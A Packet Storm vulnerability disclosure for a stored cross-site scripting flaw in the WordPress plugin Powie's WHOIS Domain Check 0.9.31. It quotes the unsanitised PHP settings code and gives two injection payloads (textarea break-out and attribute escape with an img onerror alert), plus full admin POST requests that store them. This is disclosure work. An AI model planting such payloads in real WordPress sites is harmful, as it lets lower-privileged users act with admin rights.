what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress Power's WHOIS Domain Check 0.9.31 Cross Site Scripting

WordPress Power's WHOIS Domain Check 0.9.31 Cross Site Scripting
Posted Jul 9, 2020
Authored by mqt

WordPress Power's WHOIS Domain Check plugin version 0.9.31 suffers from a persistent cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | 005057f6877a4aba7cb2f0d372b0bb46e8e78695ddd81b420378f6fb6cca7e5f

WordPress Power's WHOIS Domain Check 0.9.31 Cross Site Scripting

Change Mirror Download
# Exploit Title: Wordpress Plugin Powie's WHOIS Domain Check 0.9.31 - Persistent Cross-Site Scripting
# Date: 2020-07-07
# Vendor Homepage: https://powie.de
# Vendor Changelog: https://wordpress.org/plugins/powies-whois/#developers
# Software Link: https://wordpress.org/plugins/powies-whois/
# Exploit Author: mqt
# Author Homepage: https://blog.haao.sh


1. Description

Powie's WHOIS Wordpress plugin was found to be vulnerable to Stored XSS as
multiple fields in the plugin's setup settings fail to properly sanitize
user input. The risk here is mitigated due to the fact that active
exploitation would require authentication. However a lower privileged
Wordpress user would be able to take advantage of the fact that the
arbitrary Javascript executes on the same origin and therefore by using a
specially crafted payload, an attacker would be able to elevate their
privileges or take any of the same actions an admin would be able to.

All Wordpress websites using Powie's WHOIS version < 0.9.31 are vulnerable.

2. Vulnerability

There are two sets of vulnerable fields with each requiring a different
payload in order exploit.

The first set of vulnerable fields display output using the `<textarea>`
element.

Show on available domains (display-on-free)
Show on unavailable domains (display-on-connect)
Show on invalid domain (display-on-valid)

As no sanitization is being performed, an attacker can use a closing
`</textarea>` tag to close the HTML element and thus is able to inject
arbitrary Javascript.


Vulnerable Code: (/plugins/powies-whois/pwhois_settings.php)

<tr valign="top">
<th scope="row"><?php _e('Show on available domains', 'powies-whois')
?></th>
<td><textarea rows="3" name="display-on-free" style="width:100%;"><?php
echo get_option('display-on-free'); ?></textarea></td>
</tr>
<tr valign="top">
<th scope="row"><?php _e('Show on unavailable domains', 'powies-whois')
?></th>
td><textarea rows="3" name="display-on-connect"
style="width:100%;"><?php echo get_option('display-on-connect');
?></textarea></td>
</tr>
<tr valign="top">
<th scope="row"><?php _e('Show on invalid domain', 'powies-whois')
?></th>
<td><textarea rows="3" name="display-on-invalid"
style="width:100%;"><?php echo get_option('display-on-invalid');
?></textarea></td>
</tr>

Payload: </textarea><img src=/ onerror=alert(1)>

Vulnerable HTTP Request:

POST /wp-admin/options.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:78.0)
Gecko/20100101 Firefox/78.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
http://localhost/wp-admin/options-general.php?page=powies-whois%2Fpwhois_settings.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 479
Origin: http://localhost
Connection: close
Cookie: <snipped for brevity>
Upgrade-Insecure-Requests: 1

option_page=pwhois-settings&action=update&_wpnonce=e632f68003&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Dpowies-whois%252Fpwhois_settings.php%26settings-updated%3Dtrue&show-whois-output=1&display-on-free=%3C%2Ftextarea%3E%3Cimg+src%3D%2F+onerror%3Dalert%281%29%3E&display-on-connect=%3C%2Ftextarea%3E%3Cimg+src%3D%2F+onerror%3Dalert%282%29%3E&display-on-invalid=%3C%2Ftextarea%3E%3Cimg+src%3D%2F+onerror%3Dalert%283%29%3E&before-whois-output=&after-whois-output=


The second set of vulnerable fields display output using the <input>
element, specifically in the value attribute. As no sanitization is
performed, an attacker is able to use specially crafted input to escape the
value attribute and thus have the ability to inject arbitrary Javascript.

Vulnerable Code: (/plugins/powies-whois/pwhois_settings.php)

<tr valign="top">
<th scope="row"><?php _e('HTML before whois output', 'powies-whois')
?></th>
<td><input type="text" name="before-whois-output" value="<?php echo
get_option('before-whois-output'); ?>" style="width:100%;" /></td>
</tr>
<tr valign="top">
<th scope="row"><?php _e('HTML after whois output', 'powies-whois')
?></th>
<td><input type="text" name="after-whois-output" value="<?php echo
get_option('after-whois-output'); ?>" style="width:100%;"/></td>
</tr>

Payload: "><img src=/ onerror=alert(1)>

Vulnerable HTTP Request:
POST /wp-admin/options.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:78.0)
Gecko/20100101 Firefox/78.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
http://localhost/wp-admin/options-general.php?page=powies-whois%2Fpwhois_settings.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 398
Origin: http://localhost
Connection: close
Cookie: <snipped for brevity>
Upgrade-Insecure-Requests: 1

option_page=pwhois-settings&action=update&_wpnonce=e632f68003&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Dpowies-whois%252Fpwhois_settings.php%26settings-updated%3Dtrue&show-whois-output=1&display-on-free=&display-on-connect=&display-on-invalid=&before-whois-output=%22%3E%3Cimg+src%3D%2F+onerror%3Dalert%281%29%3E&after-whois-output=%22%3E%3Cimg+src%3D%2F+onerror%3Dalert%282%29%3E
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close